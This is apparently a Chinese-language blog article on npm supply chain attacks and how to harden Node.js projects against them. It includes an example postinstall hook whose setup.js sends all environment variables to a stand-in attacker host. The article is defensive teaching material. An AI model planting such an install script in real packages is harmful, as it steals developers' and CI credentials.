首页 / 文章 / Npm供应链攻击:其运作机制及防御Node.js的方法

Npm供应链攻击:其运作机制及防御Node.js的方法

解释了诸如账户劫持、域名抢注以及依赖混淆等 npm 供应链攻击的运作机制,同时还提供了加强 Node.js 安装安全性的具体措施。

1767 词

当你运行 npm install express 时,获取的远不止一个路由库。这个简单命令背后隐藏着数百个嵌套包,它们由那些你从未有过交集、很可能也永远不会有交集的人编写。

大多数工程师将包管理器视为中立的工具:你请求某个工具,它就会被下载下来,然后你可以继续工作。但在 JavaScript 世界中,这种假设已不再成立。如今的攻击者很少费力去突破企业防火墙或逆向工程生产环境中的登录流程。将恶意代码植入团队已经依赖并盲目信任的依赖项中,要简单得多。

npm install 已不再只是被动的获取与存储操作。它实际上等同于任意代码执行——在你的笔记本电脑上、在 CI/CD 流水线中,最终还会在你的生产基础设施上执行。

Node.js中的供应链攻击是什么?

传统的网页安全问题主要关注SQL注入或跨站脚本攻击这类直接存在于你所编写应用程序中的缺陷。

软件供应链攻击的机制则不同。你的代码库可能毫无瑕疵,遵循了所有已知的最佳实践。但如果你所依赖的第三方包被篡改,那么这些完美的代码就会建立在受损的基础之上,整个系统都将面临风险。

这类攻击针对的是构建和分发软件的流程,而非软件本身。在Node.js环境中,这些流程包括:

  • 托管在npm注册表上的开源包
  • 传递依赖项——即你的直接依赖项本身所依赖的那些包
  • 在安装过程中自动执行的脚本
  • 基于 GitHub Actions 等工具构建的自动化发布流程
  • 只要该链条中的任意一个环节被攻破,下游的所有项目在下次安装时都会继承恶意代码。

    攻击者如何利用 npm:三种现实中的攻击模式

    这些攻击并非随机发生,而是利用了 npm 生态系统可预测的结构性特征。以下是您最可能遇到的三种攻击模式。

    1. 账户接管与维护者被攻破

    许多广泛使用的 npm 包是由业余时间无偿工作的志愿者维护的。攻击者很清楚这一点,因此他们不直接攻击源代码,而是针对发布代码的人下手。

    常见的手段包括:

    • 凭证填充攻击:利用泄露的用户名-密码组合,尝试登录那些未启用多因素认证的 npm 账户。
    • 网络钓鱼:通过电子邮件冒充 npm 安全团队,诱使维护者交出登录凭证。
    • 特洛伊木马型拉取请求:在较长时间内持续提交真正有用但规模较小的修复,以此建立信任并获取代码提交权限,待信任确立后再植入隐藏的后门。

    一旦获得发布权限,攻击者就会发布一个看似普通的版本更新——比如从 2.1.4 升级到 2.1.5。由于大量 package.json 文件使用了如 ^2.1.4 这样的范围指定,各处的自动化构建系统都会自动选用被污染的版本,而无人察觉。

    2. 拼写混淆与品牌误导

    域名抢注利用的是人们容易犯的简单错误。攻击者会注册一个在视觉或文字上与知名库极为相似的包名。

    以下是一些示例:

    • 合法包:cross-env
    • 恶意的相似包:crossenv
    • 合法包:colors
    • 恶意的相似包:colour

    如果在执行npm i 时输入了错误的名称,就会安装攻击者提供的版本。这些冒名顶替的包往往几乎完全复制了真实库的API,因此虽然有隐藏的恶意行为在后台运行,测试套件仍能正常通过。

    3. 依赖混淆

    企业通常会维护私有的内部包,比如@company/auth-clientcompany-auth这类包。

    如果内部注册表配置错误,当需要解析某个内部包名时,npm 客户端可能会在检查私有注册表之前先查询公共注册表。攻击者会利用这一点,通过扫描公共仓库和文档来寻找这些私有包名的线索,然后以完全相同的名称在公共 npm 注册表上发布包,并为其指定极高的版本号,比如 99.9.9

    当构建过程运行时,npm 会比较版本号,发现公共包的版本更高,于是就会用攻击者的代码替换掉你合法的内部模块。

    幕后发生了什么:生命周期脚本的危险

    为何仅仅安装一个包就会带来如此大的风险?为什么在应用程序调用该库的 require()import 之前,恶意代码就会开始运行?

    造成这一现象的机制是生命周期脚本

    package.json 中,npm 支持在安装的特定阶段自动执行的shell命令。其中最危险的钩子是 preinstallinstallpostinstall

    以下是一个属于受污染依赖项的、看似无害的 package.json

    {
      "name": "useful-string-helper",
      "version": "1.0.1",
      "scripts": {
        "postinstall": "node ./setup.js"
      }
    }
    

    其描述可能会声称 setup.js 用于编译原生二进制文件或准备本地配置文件。但实际上,setup.js 可能包含类似以下内容:

    // setup.js (Runs automatically during npm install)
    const { exec } = require("child_process");
    const https = require("https");
    
    // Read environment variables (AWS keys, database passwords, tokens)
    const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
    const req = https.request({
      hostname: "attacker-controlled-server.com",
      port: 443,
      path: "/collect",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Content-Length": sensitiveData.length
      }
    });req.write(sensitiveData);
    req.end();
    

    实际发生的情况如下:

    • 你输入了 npm install useful-string-helper
    • npm立即执行了 node ./setup.js
    • 你的本地环境变量——比如 AWS_SECRET_ACCESS_KEYDATABASE_URLNPM_TOKEN——直接从系统内存中获取。
    • 这些敏感信息通过HTTPS传输到攻击者控制的服务器上。

    请注意,整个过程无需你导入任何包或启动应用程序。无论是在自己的机器上还是在CI运行环境中,只要执行 npm install 这个操作,就足以让你的敏感信息完全泄露。

    实际防护措施:强化Node.js工作流的安全性

    完全不使用第三方包是不现实的。现代开发的整个生态系统都是建立在开源组件之上的。不过,你可以控制的是如何谨慎地将这些依赖项引入项目。

    1. 默认禁用安装脚本

    除非某个包在安装时确实需要运行自定义脚本,否则应关闭该功能:

    npm install --ignore-scripts
    

    为了在整个项目中应用此规则而无需每次都手动输入,可在项目根目录下添加一个 .npmrc 文件:

    # .npmrc
    ignore-scripts=true
    

    对于那些确实需要原生编译的包——比如数据库驱动或图像处理库——你仍然可以手动触发其构建步骤,或者通过 pnpmyarn 等包管理器提供的插件系统有选择地允许特定包通过。

    2. 严格锁定依赖项

    无论您使用的是哪种工具,都务必将锁文件纳入版本控制范围,这类锁文件包括 package-lock.jsonpnpm-lock.yamlyarn.lock

    锁文件会记录每个已安装包的精确版本、对应的下载地址以及加密完整性哈希值(SHA-512)。只要存在该哈希值,npm 就能确认当前下载的代码与锁文件最初生成时的内容完全一致。

    在 CI/CD 流水线中,应始终使用:

    npm ci
    

    在部署过程中避免直接运行 npm installnpm ci 会严格遵循 package-lock.json 中的指定内容,并在操作前清除现有的 node_modules 文件夹,从而防止版本悄悄升级。

    3. 保护环境中的敏感信息

    尽可能避免将生产环境的凭证以明文形式保存在笔记本电脑上的 .env 文件中。开发人员使用的机器往往因为安全监控机制比云基础设施更为薄弱,却仍持有生产数据库和云账户的有效访问密钥,因此很容易成为攻击目标。

    • 优先使用短期有效的凭证,例如通过 AWS IAM Identity Center 或类似的临时令牌系统生成的凭证。
  • 应将 API 密钥存储在专用的密钥管理工具中,而非 .bashrc.zshrc 等 shell 配置文件中。
  • 绝不要将高权限的部署令牌保存在单个开发人员的机器上。
  • 4. 使用自动化扫描工具

    没有哪种扫描工具能覆盖所有风险,但自动化工具能够快速识别出已知存在恶意或漏洞的包。

    • 定期运行 npm audit,以找出存在已知 CVE 的包。
    • 在每个拉取请求中加入 Socket.dev、Snyk 或 GitHub 自带的 Dependabot 等服务作为必查项。
    • 例如 Socket.dev 会在包被引入项目之前,先检查其实际功能——包括通过网络通信、向磁盘写入数据、执行 shell 命令等行为。

    权衡:安全性与开发者效率

    所有这些强化措施都不是免费的。

    启用 ignore-scripts=true 可能会破坏那些依赖原生 C++ 绑定的软件包,比如 bcryptsharp。一旦出现这种情况,团队中就有人需要花费时间诊断构建失败问题或手动设置编译步骤。

    同样,固定每个依赖项的版本意味着漏洞修复不会自动应用到你的项目中。你需要定期安排时间——每周或每个迭代周期——主动测试并升级依赖项,而不能让它们自行更新。

    对于小型辅助项目来说,这种严格的规范可能显得多余且繁琐。但一旦应用程序开始处理客户数据、账单信息或生产基础设施,同样的繁琐就会成为防止你无意间做出妥协的关键屏障。

    Node.js 开发者总结清单

    在引入下一个依赖项之前,请牢记以下原则:

    • npm install 视为代码执行:您添加的每个包都会以与您用户账户相同的权限运行。
    • 审视新增依赖:对于可能只需十行代码的辅助函数,先思考是否真的需要整个包。
    • 在可能的情况下禁用脚本:.npmrc 中设置 ignore-scripts=true,以防范大多数安装后的脚本攻击。
    • 始终提交锁文件:保持 package-lock.json 的最新状态,并在每次 CI/CD 运行中要求使用 npm ci
    • 审查访问权限:限制本地终端和 CI 运行器实际可访问的范围。

    JavaScript的生态系统为开发者提供了极高的效率与灵活性。唯有谨慎管理依赖关系,才能避免这种高效性悄悄损害系统完整性。

    相关阅读

  • 从零构建模块化 JavaScript 自动化工具包 — 了解如何将 Playwright、Cheerio、SQLite 和 Commander 结合起来,打造出一个可重复使用的 Node.js 工作流引擎,进而将其从普通脚本发展成可销售的自动化产品。